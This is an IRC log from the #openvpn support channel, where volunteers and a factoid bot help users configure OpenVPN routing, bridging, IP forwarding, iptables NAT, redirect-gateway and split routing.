14:09 <@ecrist> bridged is a bad idea in most cases
14:09 <@ecrist> !tunortap
14:09 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:09 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:15 < [ilin]> is it possible to reach the subnet behind the vpn client without setting iroute?
14:15 <@ecrist> no
14:15 <@ecrist> well, it depends
14:15 <@ecrist> if you're using bridge-mode, then yes
14:16 < [ilin]> ecrist: but not in routed
14:16 <@ecrist> correct
14:16 < [ilin]> that is what i though
14:16 < [ilin]> and in bridged mode, is it possible control the client to client communication?
14:17 <@ecrist> you can firewall openvpn
14:17 < [ilin]> even though is in the same subnet?
14:17 <@ecrist> correct
14:17 <@ecrist> as long as traffic passes through the tap interface
14:18 < [ilin]> and if i have the server on a VPN without LAN interface do I still need a bridge or only tap is enough
14:18 < [ilin]> ?
14:18 < [ilin]> on a VPS*
14:18 <@ecrist> if you only want VPN clients to talk with eachother, there's no need to bridge with a lan interface
14:19 < [ilin]> i need client to talk to eachother, but also to reach the subnets behind each other
14:19 <@ecrist> I'd suggest uings tap with proper iroutes
14:19 <@ecrist> however, you can use bridged and proper routing protocols, as well
14:19 < [ilin]> some of the clients will have the same subnet
14:19 <@krzee>  <ecrist> if you're using bridge-mode, then yes
14:19 <@krzee> also if you use the nathack
14:19 <@krzee> but in reverse
14:20 <@krzee> if the client NAT's his lan subnet to VPN ip, then that would work too (this is NOT the right way to do it, but it would work)
14:20 < [ilin]> at the moment i have bridged network
14:20 <@ecrist> yuk
14:20 <@krzee> !whybridge
14:20 < [ilin]> and i set source route on the server
14:20 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
14:21 < [ilin]> well... clients may have the same subnet on their lan side
14:21 <@ecrist> that's just sloppy admin work
14:22 <@ecrist> I'd draw a hard line and not allow it
14:22 <@krzee> yep
14:22 < [ilin]> ecrist: i agree, but nothing i can do about that there
14:22 < [ilin]> not my choice
14:22 <@ecrist> you're going to have problems
14:22 < [ilin]> i am stuck with bridged
14:22 <@krzee> sure there is, change the subnet to something uncommon
14:22 < [ilin]> i already have :)
14:22 <@ecrist> !1918
14:22 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
14:22 <@krzee> then why do you need bridge?
14:22 <@ecrist> lots of address space there
14:23 <@ecrist> krzee: he doesn't want to push new configs to 30+ clients
14:23 <@krzee> 30+?  hahahah
14:23 <@krzee> wait til he hits 100+ and has broadcasts flying everywhere
14:23 <@krzee> then he'll HAVE TO update 100+ configs
14:23 <@krzee> that'll be more fun :D
14:23 < [ilin]> yes, broadcasts are already flying everywhere
14:24 < Skapare> worse if he waits longer, like 10000+
14:24 <@krzee> you have 3 choices
14:24 <@krzee> 1) fix it now
14:24 <@krzee> 2) do not grow
14:24 <@krzee> 3) fix it later with more clients because the vpn becomes unusable
14:24  * Skapare likes #1
14:24 <@krzee> which you choose effects me NONE, so i will not try to convince you of the right move more than i just did by laying out your options
14:25 <@ecrist> broadcast storms are great
14:25 < [ilin]> guys thanks a lot, i owe you a beer for the quick response
14:25  * krzee hands #openvpn umbrellas to stay and watch [ilin]'s storm
14:25 <@krzee> np =]
14:25 < [ilin]> :)
14:25 <@ecrist> paypal: openvpn@secure-computing.net
14:25 <@ecrist> :)
14:26 < [ilin]> ecrist: i can recommend that at work
14:26 <@krzee> !beer
14:26 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
14:26 < [ilin]> :)
14:38 -!- Devastatr [~devas@177.18.198.213] has joined #openvpn
14:39 < P4k3> ecrist that might be me..
14:39 < P4k3> I was the one complaining about 30 clients ;)
14:40 < P4k3> Im trying to setup it using routed now... But I seem to lack the route-skills :(
14:40 <@ecrist> it's pretty much the same
14:40 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
14:40 < P4k3> The client can talk to the openvpn-servers ip.. but not to the servers lan-side
14:41 < P4k3> I've setup push "route 192.168.11.0 255.255.255.0" and on the servers lan router I've setup a route for the 10.8.1.0 network pointing the gateway to the openvpn server lan interface
14:42 < P4k3> The router however can't ping the 10.8.1.1 ip..
14:42 < P4k3> So Im guessing I miss some configuration on the server that allows it to transfer the data between networks..
14:43 < [ilin]> P4k3: echo 1 > /proc/sys/net/ipv4/ip_forwarding
14:43 < P4k3> It's running on windows :)
14:43 < [ilin]> so ip forwarding on windows
14:44 < [ilin]> P4k3: http://support.microsoft.com/kb/315236
14:44 <@vpnHelper> Title: How to Enable TCP/IP Forwarding in Windows XP (at support.microsoft.com)
14:44 < [ilin]> maybe
14:45 < [ilin]> anybody used the internal packet filter in openvpn?
14:50 <@krzee> P4k3,
14:50 <@krzee> !serverlan
14:50 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:50 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:50 <@krzee> !winipforward
14:50 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
14:50 < P4k3> I think I got it to work
14:50 <@krzee> hey nice, same link :D
14:50 < P4k3> I can ping the 10.8.1.1 address on the router atleast
14:50 < P4k3> so the route works
14:50 < P4k3> Now just to check if the vpn client can
14:51 <@krzee> #3 at !serverlan gives a flowchart you can follow
14:51 <@krzee> for troubleshooting it
14:51 < P4k3> woho
14:51 < P4k3> vpn client can ping the router
14:56 < [ilin]> hm.. in bridged setup when i try to ping client2 from client1 i see ARP requests on the vpn server bridge but nothing on client2, forwarding is enabled and iptables are all ACCEPT
14:56 < [ilin]> i am able to ping the server from the clients though...
15:01  * krzee twitches
15:06 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Quit: No Ping reply in 180 seconds.]
15:07 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
15:20 -!- [ilin] [~ilin@unaffiliated/ilin] has left #openvpn []
15:32 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
15:38 < mapps> hm
15:40 < mapps> struggling to get my vpn to work tunnelling all the traffic
15:43 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
15:45 <@ecrist> !ask
15:45 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
15:47 < mapps> im not asking anything yet :D trying to fix it
15:48 <@ecrist> good
15:55 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:01 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:01 < mapps> maybe not..im trying to force all traffic over my VPN ive set push redirect-gateway and also push dhcp-options in the server.conf file - but nothing - by the looks of it I need to use iptables - but not 100% sure
16:01 < mapps> my linux machine is connected to my router via wifi
16:03 < mapps> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o wlan0 -j MASQUERADE -- looks like it might be what I need?
16:08 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
16:10 <@krzee> mapps,
16:10 <@krzee> !redirect
16:10 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:10 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
16:13 < mapps> aha so i need ip forwarding and nat
16:13 < mapps> thanks
16:13 <@krzee> np
16:13 <@krzee> !linnat
16:13 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
16:13 <@krzee> !linipforward
16:13 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
16:14 < mapps> one thing though
16:15 < mapps> is it possible to do this on my setup whereby the vpn server is connected to router via wifi ? so it's going through router itself
16:15 < mapps> that wont cause an issue?
16:15 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 245 seconds]
16:15 <@krzee> nah its fine
16:16 < mapps> thanks :)
16:17 <@krzee> is the vpn server and client on the same router?
16:20 < FluxD> Hi, I want to remove the redirect-gateway from my config so some ips can connect to original host. I am not sure what iptables to get It working otherwise. Any suggestions ?Thanks!
16:23 < mapps> krzee, at home for testing yes
16:23 < mapps> but i plan to use this on my iphone using inline certs (got it to connect) but now working on full tunnel
16:24 <@krzee> !splitroute
16:24 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
16:26 <@krzee> mapps, well when you are on the same lan you need:
16:26 <@krzee> !local
16:26 <@vpnHelper> "local" is a flag for --redirect-gateway, Add the local flag if both OpenVPN machines are directly connected via a common subnet, such as with wireless.
16:26 <@krzee> FluxD, !splitroute was for you
16:26 < mapps> thanks
16:27 <@krzee> np
16:27 < FluxD> krzee, thanks
16:27 < FluxD> !route_override
16:27 <@vpnHelper> "route_override" is (#1) https://forums.openvpn.net/viewtopic.php?f=15&t=7161 for how to override --redirect-gateway for a certain subnet or (#2) to see how to make it so the client will still reply to requests to its public ip over the internet and not the vpn see !splitroute
16:28 <@krzee> FluxD, from what you asked you wanted !splitroute
16:28 <@krzee> route_override is so your client connects to certain subnets without the vpn
16:29 < mapps> hm
16:29 < mapps> !ipforward
16:29 < FluxD> krzee, yup, I am reading that splitroute one
16:29 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
16:29 < mapps> !nat
16:29 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
16:29 < mapps> ah
16:29 < mapps> ok
16:29 < mapps> :D
16:29 < FluxD> krzee, so split route makes the original ip accessible basically right?
16:29 <@krzee> splitroute is so your client can redirect its outbound traffic but still be able to server stuff to the internet with its normal ip, such as running a webserver
16:30 < FluxD> krzee, my plan was this, can you tell me if its doable. have the server up on vpn ip on port 80 and 8080 or whatever on original ip ?
16:30 <@krzee> route_override is simply adding a route to override the default, and splitroute is policy routing (using ip rule and 2 routing tables
16:30 < mapps> how do i list the iptables rules i did ptables -L and it didnt list the masquerade i just added?
16:30 <@krzee> that is splitroute
16:31 <@krzee> !splitroute
16:31 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
16:31 < FluxD> krzee, so apache should be fine and there are no issues?
16:31 <@krzee> #1
16:31 <@krzee> you now know what you need to learn to achieve your goal :-p
16:32 <@krzee> mapps, check out iptables-save instead, but the answer is -L -t nat
16:32 < mapps> thanks
16:32 < mapps> :D
16:32 <@krzee> yw
16:33 < FluxD> krzee, thanks, do those rules survive a reboot ?
16:34 <@krzee> that is up to you as an administrator ;]
16:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:37 < FluxD> lol
16:37 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
16:37 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
16:37 < mapps> so now ive done masquerade AND temp ip forward this should work?
16:37 < mapps> moment of truth
16:37 < mapps> :D
16:37 -!- xTz is now known as Guest82617
16:39 < mapps> works
16:39 < mapps> ;D
16:39 < FluxD> krzee, its working perfectly
16:39 <@krzee> good job guys =]
16:39 <@krzee> \o/
16:40 < mapps> yes
16:40 < mapps> we're both happy
16:40 < mapps> thanks for your help krzee  :D
16:40 < mapps> tought it'd be a lot harder to get it to work
16:40 <@krzee> yw
16:40 < FluxD> krzee, now for another question, the original server has another ip. does the same trick work for that? 1 nic though
16:40 <@krzee> FluxD, do you understand why what you did is working?
16:40 < mapps> one thing I don't get i thought by default a VPN would tunnel all traffic over the VPN but now i read the howto it seems that only traffic between client and VPN is through the VPN so say web and irc wouldn't be by default/
16:41 < FluxD> krzee, I added another routing table for original ip ?
16:41 <@krzee> you did something else
16:41 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
16:41 <@krzee> you set a policy route that when traffic was headed to that ip you would reply using the second routing table
16:41 <@krzee> policy rule*
16:41 <@krzee> not policy route, sorry
16:42 <@krzee> now you want traffic headed to another ip to exit using that same second routing table
16:42 <@krzee> so go make another rule =]
16:42 < mapps> hm and what i saod?:)
16:43 <@krzee> !vpn
16:43 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
16:43 <@krzee> mapps ^
16:43 < mapps> but i meant by default
16:43 < mapps> not all traffic is through the vpn?
16:43 <@krzee> read that
16:43 < mapps> isnt that strange
16:43 < mapps> ok
16:44 <@krzee> it wont be strange when you realize what a vpn is
16:44 < mapps> i think or thought i did..il read again though
16:44 < FluxD> mapps, not all traffic goes through vpn unless you want to
16:45 < FluxD> http://openvpn.net/index.php/open-source/documentation/howto.html#redirect
16:45 <@vpnHelper> Title: HOWTO (at openvpn.net)
16:45 < mapps> yea
16:45 < mapps> i thought all would by default
16:45 < mapps> :)
16:45 <@krzee> a vpn is simply a long virtual ethernet cable
16:45 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:46 <@krzee> i am currently connected to 6 vpns and my default route is my ISP
16:46 < FluxD> yea my problem was opposite, the vpn is slowing down my connection and I wanted another way of connecting to original ip faster
16:46 < mapps> lol 6
16:46 < mapps> :)
16:46 <@krzee> if i had to route over the vpn, i wouldnt be able to connect to 6 networks like this
16:46 < mapps> yea
16:46 < mapps> can you connect directly to other clients of the vpns..i saw that mentioned in the howto you can set that on if you want
16:46 < mapps> just wondered how you have it
16:47 <@krzee> clients can only reach other clients through the server
16:47 < mapps> ah
16:47 <@krzee> that is a limitation of how openvpn works
16:47 <@krzee> !c2c
16:47 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things behind
16:47 <@vpnHelper> other clients
16:48 <@krzee> people sometimes confuse that option with thinking it means client can directly connect
16:53 < mapps> ah
16:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
16:56 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
16:56 -!- mode/#openvpn [+o dazo_afk] by ChanServ
16:57 -!- dazo_afk is now known as dazo
17:02 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 260 seconds]
17:03 < mapps> ARGH
17:03 < mapps> krzee,  maybe you can help kind sir
17:03 < mapps> i connected to the vpn using openvpn ios app..it connected fine and my net worked after doing masquerade and ip forward
17:04 < mapps> then i go back to my phone few mins later and look at the status and it says network unavaliable
17:04 < mapps> but the VPNs still up!!
17:04 <@krzee> i dont actually use iphone
17:04 <@krzee> <-- android
17:04 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
17:05 < mapps> any idea what could be causing that erro?=r? i disconnectd from the vpn and it reconnects right away so it works
17:05 <@krzee> i have no idea how the ios stuff works really, sorry.  i have set it up but i have never actually used it
17:06 < mapps> damn thanks dude
17:06 < mapps> ignore the ios for a scond though what could cause 'netwotrk unavaliable
17:06 < mapps> when it isnt?!
17:06 <@krzee> cant ignore ios, its a complete re-write of openvpn, not even opensource
17:07 -!- Guest82617 [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 245 seconds]
17:07 < mapps> damn thing
17:07 < mapps> this sucks
17:07 < mapps> aso now its using it and working lol
17:08 <@krzee> https://www.youtube.com/watch?v=UBL47tHrvMA
17:08 <@vpnHelper> Title: DROID Sound Effect!!!!!! (NOW WITH DOWNLOAD LINK!) - YouTube (at www.youtube.com)
17:09 < mapps> LOL
17:10 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
17:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Write error: Connection reset by peer]
17:11 -!- s7r [~s7r@openvpn/user/s7r] has quit [Write error: Broken pipe]
17:13 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
17:13 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
17:13 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:13 -!- mode/#openvpn [+v s7r] by ChanServ
17:15 <@krzee> mapps, is the screen turning off when it says unavail?
17:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:16 <@krzee> maybe your phone sleeps openvpn or something when the screen turns off, and then it fixes itself after a bit of the screen being back on?
17:16 < mapps> yea like say the phone locks and i unlock it it will be cutoff and say pause (network unavaliable)
17:16 < mapps> BUT
17:16 < mapps> before the forwarding and masquerading if the phne locked it would just reconnect
17:17 < mapps> its not reconnecting just staying on pause (unavaliable)
17:17 <@krzee> its definitely got nothing to do with forwarding/nat on the server, those are red herrings
17:17 < mapps> hmm
17:17 <@krzee> oh did you use:
17:17 <@krzee> !def1
17:18 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:18 < mapps> yep
17:18 <@krzee> not just redirect-gateway but redirect-gateway def1?
17:18 < mapps> yp deff used def1
17:18 < mapps> as everything i read said to
17:19 <@krzee> !configs
17:19 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
17:23 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
17:23 < mapps> sec
17:24 < mapps> http://pastebin.com/Fnq4awRT
17:27 < mapps> hmm not sure if def1 is needed now
17:45 <@krzee> just making sure you dont remove your original default route because i dunno if ios will be cool with it
17:45 <@krzee> but then again maybe the ios client would handle that anyways, i wouldnt really know
17:46 <@krzee> push "dhcp-option DNS 10.8.01"
17:46 <@krzee> also, tell me? does the client connect to the server based on DNS?
17:47 <@krzee> because if it cant reach its new nameserver (vpn ip) when the vpn is down, how will it connect?
17:47 <@krzee> and you missed a . 10.8.01 should be 10.8.0.1
17:47 < wallbroken> do u know when openvpn for iOS will be updated?
17:47 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 246 seconds]
17:47 <@krzee> wallbroken, no idea sorry. its not a community project its corp closed source code
17:48 < wallbroken> and who is the mantainer?
17:48 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
17:49 <@krzee> im not sure
17:49 <@krzee> openvpn technologies
17:49 < Eugennerz> !as
17:49 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
17:49 < Eugennerz> Try asking them ^
17:49 <@krzee> good call ^
17:50 <@krzee> or:
17:50 <@krzee> https://forums.openvpn.net/openvpn-connect-ios-f36.html
17:50 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN Connect (iOS) (at forums.openvpn.net)
17:51 < wallbroken> ok thank you
17:51 <@krzee> oh i was wrong
17:51 <@krzee> openvpn connect code is available
17:53 <@krzee> https://forums.openvpn.net/topic12800.html
17:53 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN Connect Source Code : OpenVPN Connect (iOS) (at forums.openvpn.net)
17:53 -!- altermann_ [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
17:55 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has quit [Ping timeout: 260 seconds]
17:55 -!- altermann_ is now known as altermann
18:14 -!- altermann_ [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
18:17 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has quit [Ping timeout: 260 seconds]
18:17 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
18:17 -!- altermann_ is now known as altermann
18:19 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Client Quit]
18:20 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
18:41 < FluxD> krzee, probably a dumb question but can we make a specific program not use lets say the vpn
18:41 < FluxD> I meant aptt-get etc
18:48  * Skapare found documentation that does include certificates in the general classification of keys or key files
18:51 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
18:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:12 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
19:17 < lupine> hi there. I'm trying to use OpenVPN to set up a simple encrypted multi-wan connection at home
19:18 < lupine> the current plan is to have one server process serving two client processes concurrently, each client process being on the same machine but connecting via a different path
19:19 < lupine> I can then route a /28 down either line, depending on whether it's up or not... in theory
19:29 < mapps> hey krzee  was at gym sorry but quick q
19:29 < mapps> <krzee> also, tell me? does the client connect to the server based on DNS?
19:29 < mapps> <krzee> because if it cant reach its new nameserver (vpn ip) when the vpn is down, how will it connect?
19:29 < mapps> <krzee> and you missed a . 10.8.01 should be 10.8.0.1
19:29 < mapps> thats a silly error..silly me the .
19:29 < mapps> but
19:29 < mapps> based on DNS as in a hostname? nope i used the IP
19:29 < mapps> sounds complocated lupine :D
19:31 < lupine> well, there are two requirements - encryption and seamless failover in case one of the two uplinks goes down
19:31 < lupine> load-balancing across the lines when they're both up would be nice, but I'm not too fussed
19:32 < lupine> I was considering the idea of putting tun0 + tun1 into a bond device, but I don't actually know if that's possible / sane
19:32 < mapps> not sure what a bond device is
19:32 < mapps> i shall google@D
19:32 < lupine> ifenslave and friends
19:32 < lupine> it's probably not sane
19:33 < lupine> Master 'bond0': Error: handshake with driver failed. Aborting
19:33 < lupine> yeah, that's not going to work
19:34 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Read error: Connection reset by peer]
19:34 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
19:36 < lupine> hmm, actually...
19:44 < mapps> stupid ios disconnecting my vpn:D
19:45 < lupine> I think this can actually work, as long as I can get openvpn not to mess it up
19:46 < lupine> in particular, its layer 3 management stuff becomes fairly uninteresting. I just want it to be passing frames, not running a mock dhcp server and all the rest
19:46 < lupine> ideally, the tap interfaces would be persistent, and openvpn would just set them to down when the client is disconnected; up when connected
19:48 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
19:48 < maskedlua> !welcome
19:48 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:48 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:49 < maskedlua> !goal
19:49 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
19:50 < maskedlua> !goal use both the underlying physical device's original IP as well as the IP on the virtual interface created by OpenVPN simultaneously on Archlinux, the config is from a company (should I post it with passkeys and such removed)
19:51 -!- Devastatr [~devas@177.18.198.213] has quit [Ping timeout: 245 seconds]
19:53 < Skapare> is there an official place to download easy-rsa in some meta format like tar, cpio, rpm ?
19:54 < maskedlua> anyone have any ideas around my goal? when I start OpenVPN, it is impossible to use the underlying physical interface, is this by design or something I can work on?
19:54 < Skapare> the tun0 interface?
19:54 < Skapare> if openvpn is using it, it takes over
19:54 < mapps> i dont understanbd what you mean
19:54 < maskedlua> enp6s0
19:54 < mapps> you hm
19:55 < maskedlua> the physical interface is enp6s0 (thru which the VPN is tunneled over tun0)
19:55 < mapps> you want to use the eth0 normal IP as the same as the virtual ip?
19:55 < maskedlua> want to use both simultaneously
19:55 < Skapare> so if you are not running openvpn, your networking to each you remote ends goes through enp6s0 ?
19:55 < mapps> aha
19:56 < Skapare> each=reach
19:56 < maskedlua> say be able to ping -I enp6s0 google.com and ping -I tun0 google.com (without the former failing when OpenVPN is running)
19:56 < mapps> but he can do that anyway?
19:56 < mapps> or am i misunderstand
19:56 < maskedlua> Skapare: yes
19:57 < Skapare> so what are you saying happens when you start openvpn ... that something not using the tunnel cannot send data via enp6s0 anymore?
19:57 < maskedlua> enp6s0 is my "eth0" so to say (I can say eth0 if that's easier to understand, the device name isn't very important except as a unique identifier
19:57 < maskedlua> )
19:57 < maskedlua> Skapare: yes
19:57 < Skapare> what message are you getting that suggests that is what is happing?
19:57 < mapps> yea maskedlua  eth0 makes it tiny bit easier i thought that was the case ur eth0 is en6s0:D
19:58 < maskedlua> um, all existing connections, all incoming connections over eth0, they go kaput
19:58 < Skapare> and what OS is this on?
19:58 < maskedlua> Archlinux
19:58 < mapps> ah
19:58 < mapps> so like you cant ping another machine from eth0 ?
19:58 < mapps> for example
19:58 < Skapare> does "kaput" mean an instant drop of connections ... or does it mean they just hang there and no data goes through?
19:59 < maskedlua> no data goes thru
19:59 < mapps> if that happens could that not be a firewall issue if it just hang
19:59 < maskedlua> all new outgoing connections default to tun0 (sensible), but a forced connection to eth0 fails as well
19:59 < Skapare> can you "ifconfig" that interface and see its state, and do so again when it has this trouble, to see what is different?
19:59 < maskedlua> the firewall is the default firewall of archlinux (ACCEPT on evertyhing)
19:59 < maskedlua> s/evertyhing/everything
20:00 < Skapare> if "no data goes thru" it could be a bad route got inserted
20:00 < maskedlua> OpenVPN creates new routes
20:00 < Skapare> so checking the route table for changes would be good ... there might be a bad route in the config for routes
20:00 < maskedlua> I was thinking it's a bad route....
20:00 < Skapare> so check your route table before and after and see what changes
20:01 < maskedlua> I don't know how to configure routes with the new "ip" util.... nor the correct routes... nor how to get those routes
20:01 < Skapare> I do ... to see routes do "ip route show"
20:01 < maskedlua> but, I can always learn, expirement, and tell the person who physically hosts my machine to reset the booger
20:01 < mapps> route would show the routes
20:02 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Ping timeout: 245 seconds]
20:02 < Skapare> to add or delete "ip route add ..." or "ip route del ..." where ... would be a route like shown in "ip route show"
20:02 < Skapare> but lets see the difference in routes before and after starting openvpn
20:03 < maskedlua> Skapare: if I just add all the routes from before vpn to after vpn will it be ifne?
20:03 < Skapare> ip route show > before.routes
20:03 < maskedlua> s/ifne/fine
20:03 < Skapare> I don't know
20:03 < Skapare> I cannot see your routes, yet
20:03 < mapps> yea
20:03 < mapps> stop openvpn and do route show
20:03 < mapps> then start and do same
20:03 < mapps> when it stopped openvpn routes will go
20:03 < Skapare> can you save them before, save them after, and put both sets in one paste?
20:04 < maskedlua> sure
20:04 < Skapare> that way we can see them and maybe see the difference
20:04 < Skapare> it might be routing TOO MUCH over the tunnel, for example
20:05 -!- nitram__ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has joined #openvpn
20:05 < nitram__> ya'll remember maskedlua?
20:05 < nitram__> he is I
20:05 < Skapare> if you only want to send SOME destinations over the tunnel (like the LAN address over there) then the route should be that narrow ... but wrong numbers can make it be too much
20:05 < mapps> hey
20:05 < nitram__> and my bouncer is hosted at the dedicated server
